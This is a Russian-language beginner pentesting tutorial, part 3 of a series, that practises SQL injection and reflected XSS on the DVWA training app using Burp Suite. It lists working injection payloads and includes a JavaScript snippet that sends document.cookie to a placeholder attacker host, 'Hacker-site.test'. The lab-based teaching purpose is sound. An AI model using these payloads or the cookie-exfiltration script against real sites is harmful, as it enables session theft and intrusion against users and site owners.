Путь этичного хакера – Часть [3] Тестирование уязвимостей веб-приложений

[HMCoba]

Путь этичного хакера часть - 3
Тестирование уязвимостей веб-приложений

---

Оглавление серии:

Часть 1 — Введение в этичный хакинг и основы пентеста
Часть 2 — Установка Kali Linux и создание тестовой среды
Часть 3 — Тестирование уязвимостей веб-приложений
Часть 4 — Продвинутые атаки и анализ окружения
Часть 5 — Удалённый доступ и обратные подключения
Часть 6 — Повышение привилегий, поиск SUID и cron-уязвимостей
Часть 7 — Автоматизация атак с помощью Python и работа с Metasploit

---

Добро пожаловать в наш третий выпуск серии, посвящённой практике этичного хакинга!

Серия: Путь этичного хакера Выпуск 3: Первые атаки на DVWA — Burp Suite, XSS и SQL-инъекции:
Эта статья ориентирована на новичков и логично продолжает предыдущие шаги — теперь мы переходим к анализу
веб-приложений, знакомству с Burp Suite и первой ручной атаке через XSS и SQL-инъекцию на DVWA.

---

И так, в предыдущем выпуске, мы установили Kali Linux, настроили сеть и развернули DVWA.
Теперь пришло время перейти к практике и сделать первые шаги в тестировании безопасности веб-приложений.

---

1. Что такое DVWA и зачем он нужен

DVWA (Damn Vulnerable Web Application) — это тренировочное веб-приложение, специально созданное с уязвимостями. Оно предназначено для того, чтобы вы могли безопасно обучаться поиску и эксплуатации типичных уязвимостей, не нарушая закон и не рискуя чужими системами.

DVWA содержит десятки уязвимостей, среди которых:

• SQL Injection — внедрение SQL-команд в запросы к базе данных.
• Command Execution — удалённое выполнение команд на сервере.
• File Upload — небезопасная загрузка файлов.
• XSS (Stored/Reflected) — внедрение JavaScript-кода в страницу.
• Brute Force — подбор логинов и паролей.

Чтобы начать работу:
1. Откройте DVWA в браузере, например по адресу:

---

http://192.168.1.101/DVWA/

---

2. Войдите, используя логин по умолчанию:

• Username: admin
• Password: password

3. В разделе DVWA Security установите уровень безопасности на Low — это облегчит обучение и позволит увидеть, как работают атаки.

---

2. Перехват трафика с помощью Burp Suite

Burp Suite — это одна из главных программ в арсенале пентестера. Она позволяет перехватывать, изучать и изменять сетевые запросы, которые ваш браузер отправляет на сайт.

Чтобы начать:

1. Откройте Burp Suite (уже установлен в Kali Linux).
2. Перейдите на вкладку Proxy → Intercept и убедитесь, что перехват включён.
3. Запустите Firefox и укажите в настройках прокси-сервер:
   
   

   ---

   127.0.0.1:8080

   ---

4. Откройте DVWA в браузере. Если Burp настроен правильно — страница "зависнет", потому что Burp перехватил запрос.
5. Перейдите в Burp и нажмите Forward, чтобы отправить запрос дальше.

Теперь вы можете видеть и изменять каждый запрос. Это важнейший навык для тестирования веб-уязвимостей.

---

3. SQL-инъекция — ваша первая уязвимость

Зайдите в DVWA → SQL Injection.

В текстовое поле введите:

---

1' OR '1'='1

---

Что произойдёт?
Приложение покажет вам список всех пользователей, даже если вы не авторизованы.
Это значит, что ввод из поля напрямую вставляется в SQL-запрос — и это критическая уязвимость.

• Попробуйте другие варианты:
  
  

  ---

  1' OR 1=1--

  ---

• Используйте Burp для перехвата и изменения запроса вручную.
• Проверьте, реагирует ли сайт на другие подобные конструкции.

Цель: научиться выявлять и использовать SQL-инъекции, чтобы понять их суть и возможные последствия.

---

4. Reflected XSS — внедрение JavaScript

Теперь откройте раздел XSS (Reflected).

Введите в поле следующий код:

---

<script>alert('XSS')</script>

---

Если браузер показывает всплывающее окно — значит, введённый код исполнился. Это означает, что сайт не фильтрует пользовательский ввод, что позволяет внедрять и запускать JavaScript-код.

• Попробуйте также:
  
  

  ---

  <script>confirm(document.cookie)</script>

  ---

  <img src=x onerror=alert(1)>

  ---

Простой пример:

---

Тестируем сайт на уяхвимость
Для начала вводим в строку поиска простой ява скрипт код.
<script>alert(1)</script>

2. пробуем обнов стр бразера или жмём поиск
Если мы получим в сообщении ответ что то вроде
"1. social.test says " значит уязвимость существует!

Следовательно при определённых условиях можно получить доступ
например сохдаём свой хакерский сайт, пишем вот такой скрипт

var x = new XMLHttpRequest();
 x.open("GET", "http://Hacker-site.test/save_coocle?coocle=" + encodeURIComponent(document.cookie), true);
 x.send();

Скрипт ворует кукисы, если его внедрить, например на сайте "в строку ввода
имя пользователя "обновить"\то у любого кто зайдёт на страницу будут украдены куки.

---

Что это даёт атакующему:

• Кража cookie (в том числе сессий).
• Подмена содержимого страниц.
• Внедрение фальшивых форм входа.

- -▶ Смотреть: Уязвимость | XSS

---

5. Учитесь документировать — это важно

Пентест — это не только атака, но и отчёт.
Пример фиксации SQL-инъекции:

Уязвимость: SQL Injection
Страница: /vulnerabilities/sqli/
Payload: 1' OR 1=1--
Результат: отображены все записи без авторизации
Рекомендация: использовать подготовленные запросы (prepared statements)

Сделайте то же самое и для XSS. Такие отчёты — основа профессиональной деятельности в области информационной безопасности.

---

6. Что будет дальше

В следующем выпуске мы: Продвинутые атаки и анализ окружения

• Разберём Stored XSS и File Upload.
• Научимся использовать Nikto и Dirb для поиска директорий.
• Посмотрим, как происходит Command Injection.

Если вы успешно прошли шаги этого выпуска — вы уже сделали свои первые атаки как этический тестировщик.
Если возникли вопросы — пишите.